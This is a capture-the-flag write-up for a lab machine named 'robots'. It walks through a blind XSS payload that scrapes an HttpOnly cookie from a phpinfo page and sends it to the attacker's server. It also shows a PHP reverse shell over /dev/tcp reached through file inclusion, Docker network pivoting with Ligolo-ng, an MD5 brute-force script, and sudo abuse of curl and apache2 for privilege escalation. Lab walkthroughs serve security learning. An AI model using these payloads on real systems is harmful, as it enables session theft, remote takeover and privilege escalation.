Stealing HttpOnly protected cookies with Blind XSS, escalating a RFI to RCE, pivoting in a docker network with Ligolo-ng, cracking some hashes and taking advantage of miss-configured permissions.

Recon

Nmap Scan

sudo nmap -sS robots.thm -T5

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9000/tcp open  cslistener

Fuzzing /

dirsearch -u http://robots.thm

[15:48:58] 200 -   74B  - /robots.txt

Robots.txt

Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self

Upon vistiting these urls, /harm/to/self returns a 200 ok , the others a 403 forbidden

Fuzzing /harm/to/self

dirsearch -u http://robots.thm/harm/to/self/

[15:53:14] 200 -  252B  - /harm/to/self/admin.php
[15:53:39] 200 -    0B  - /harm/to/self/config.php
[15:53:42] 301 -  319B  - /harm/to/self/css  ->  http://robots.thm/harm/to/self/css/
[15:54:02] 200 -  394B  - /harm/to/self/login.php
[15:54:02] 302 -    0B  - /harm/to/self/logout.php  ->  index.php
[15:54:21] 200 -  491B  - /harm/to/self/register.php

Note : Even tho admin.php returns 200 OK , its a forbidden page.

Initial Access

Vulnerability Detection and Analysis

So i visited /harm/to/self/register.php and was met with:

Register-Page So i invited myself in and created an account with username “hacker” and date “15/02/2002” and got the password for it with:

echo "hacker1502" | md5sum

Inside i noticed that my username was reflected in the HTML. First-Login-Hacker.png HTML Injection.png I also noticed a weird button to view the PHP server info page. PHP-Server-Info-Page.png So up until now i was thinking of a Blind XSS to steal the admin cookies and that was it, but then i noticed this HttpOnly flag…. HttpOnly.png So that left me thinking, what am i supposed to do if its impossible to steal cookies with the HttpOnly flag set… nick-lang-tcb.gif

Stealing Cookies Via Blind XSS Despite HttpOnly Flag

So the idea behind this lies in the fact that the cookies are exposed in the PHP Server Info page, in this section right here…1 PhpInfoCookies.png And so it appears on the HTML completely unprotected.. UnprotectedCookies.png

Soooo , lets steal them.

<img src=x onerror="fetch('http://robots.thm/harm/to/self/server_info.php')
.then(response => response.text())
.then(text => {
cookie = text.match(/Cookie.{1,2000}/)[0];
fetch('http://IP:8000/?cookie=' + encodeURIComponent(cookie));
});">

This payload fetches the page that contains the cookies, it searches for the “Cookie” with a regex - so that we dont get the full page - and then it sends a request to our server with it.

So we spin up a local server with python , create a user with that payload as username and wait.

python -m http.server 8000

TheCookie.png We can just base64 decode this information and we got ourselves the admin cookie.

Analyzing the Admin Panel

We can now visit the /admin.php that i found during the recon and we find the following. EnterURL.png ResultUrlSearch.png And so it turns out that we have LFI RFI and SSRF due to that include function.

Escalating a RFI to RCE

We just have to host a php reverse shell and include it on the server.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'"); ?>

PenelopeRevShell.png And we got a Shell as www-data

Note: Try Penelope

Lateral Movement

Searching the Box

As soon as we get in we find a config.php containing some credentials

$servername = "db";
$username = "robots";
$password = REDACTED;
$dbname = "web";

But when we try to to connect to any database we notice that there is no service running or client installed. Upon searching a bit more we find some clues, On the machine Root there is a .dockerenv and we see the following on /etc/hosts:

172.18.0.3      robots.thm robots

Indicating that we are inside a container, what if we try to enumerate the 172.18.0.0/24 to find some more services on other containers?

Leveraging Ligolo-ng to Scan the Docker Network

We can use Ligolo-ng to create a tunnel from the docker network to our attack machine, and then use nmap to see if we can find some more services. For the ligolo setup i followed this documentation 2

So we run the proxy on our machine with

sudo ./proxy -selfcert

and upload the agent to the target and run :

./agent -connect IP:11601 --ignore-cert

We can now see that we got a session on ou proxy, we use the command session to attach to it and then we setup a interface for it and routing settings.

interface_create --name "ligolo"
interface_add_route --name ligolo --route 172.18.0.0/24

Now the docker network is acessible to our attacker machine and we can use nmap like so:

nmap 172.18.0.0/24 -e ligolo

Nmap scan report for 172.18.0.2

PORT     STATE    SERVICE
280/tcp  filtered http-mgmt
3306/tcp open     mysql
4000/tcp filtered remoteanything
5000/tcp filtered upnp

Database Connection and Password Cracking

We can now use the previous found credentials in the config.php and conect to the database.

mariadb -h 172.18.0.2 -u robots -P 3306 -D web

DatabasePrint.png By using hashes.com we detected that this is just an md5. So it might be the md5 hash of md5(username+ddmm). I tried it on myself and it is. So by chance rgiskard could have just left his default password unchanged, and we can bruteforce it. Thats exactly what happened and i did so with the following script.

import hashlib

username = "rgiskard"
FoundHash = "REDACTED"

for month in range(1,13):
	for day in range(1,32):
		combo = username + f"{day:02d}{month:02d}"
		md5_hash = hashlib.md5(combo.encode()).hexdigest()
		md5_second_hash = hashlib.md5(md5_hash.encode()).hexdigest()
		if(md5_second_hash == FoundHash):
			print("Found")
			print(combo)
			print(md5_hash)
			print(md5_second_hash)

Finally i tried to use the found password to connect via ssh and it worked. We got ssh connection to rgiskard.

Note: This brute-force could be done from the start with knowledge of the username so technically this lets people skip to this part i guess…

More Lateral Movement to dolivaw

Upon entering the machine as rgiskard there is no flag to be seen and so it become obvious that we need to move to the user dolivaw. We have this sudo output:

User rgiskard may run the following commands on ubuntu-jammy:
    (dolivaw) /usr/bin/curl 127.0.0.1/*

And so i found this resource3 online that tells us exactly what we need to do to move to this user. We are going to use curl to write our ssh public key to the dolivaw authorized keys and then login via ssh. On our machine we generate a key.

ssh-keygen -f key
chmod +x 600 key

Then upload the public key (key.pub) to the target machine in my case to /tmp/key.pub, and then run the following command:

 sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /tmp/ignore file:///tmp/key.pub -o /home/dolivaw/.ssh/authorized_keys

Now we can connect to dolivaw via ssh like so and retrieve the user flag.

ssh dolivaw@10.66.183.185 -i key

Privesc

As dolivaw the story kind of repeats itself, is again a sudo trick because we have this:

User dolivaw may run the following commands on ubuntu-jammy:
    (ALL) NOPASSWD: /usr/sbin/apache2

and so running this command4 will get us the root flag:

sudo apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /root/root.txt'

Sources